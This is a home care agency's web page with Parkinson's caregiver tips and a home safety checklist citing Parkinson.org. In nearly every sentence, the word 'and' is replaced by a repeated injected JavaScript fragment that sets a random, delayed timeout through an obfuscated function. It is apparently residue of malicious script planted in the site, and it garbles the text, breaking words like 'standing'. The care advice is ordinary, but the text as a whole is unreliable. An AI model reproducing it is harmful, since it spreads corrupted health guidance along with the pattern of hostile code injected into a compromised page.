Project Description

Parkinsons

Caregiver Assistance Tips

1. Parkinson’s disease can make it more difficult to complete tasks such as getting dressed, driving andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bathroom needs. Caregivers should be especially attentive to these needs.
2. It is important to stay vigilant andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recognize changes that occur slowly in a person with Parkinson’s over time. Knowing when to offer help andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how much help to offer is very important.
3. Schedule medication andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hydration reminders (while considering any liquid restrictions provided by the patient’s doctor)

Information

Parkinson’s disease is a neurodegenerative brain disorder. Most symptoms take years to develop but can be managed. There are many things that you can do to improve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintain your quality of life. The three biggest are maintaining a healthy diet, making your life easier andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and safer at home, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and focusing on properly completing daily activities. Assistance In Home Care specializes in facilitating all of these things. Our clients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their well being are our priority.

Parkinson.org outlines important safety considerations:

Throughout The House

Make sure that:

  • Floors are stable, non-skid surfaces without excessive patterns.
  • All furniture is secure, sturdy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and does not swivel.
  • Chairs are stable, have arm rests andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adequate seat height to make standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding up easier.
  • There is good lighting throughout the home, with no dark or shadowy areas, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and blinds/shades are adjusted to minimize glare.
  • Walking paths are wide, allowing easy access andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and use of a walker or wheelchair if needed.
  • Electrical/phone/computer cords do not pose a tripping/falls risk when walking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and moving about.
  • Stairs are in good shape, have railings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can be blocked for safety if needed.
  • Dining area can be easily accessed.
  • Smoke alarms are installed in all rooms (especially bedroom andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and kitchen), with fully charged batteries.
  • Remove through rugs/scatter rugs.
  • Remove clutter to decrease risk of tripping andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and falls.

If you want to learn more, please follow this link to Parkinson.org.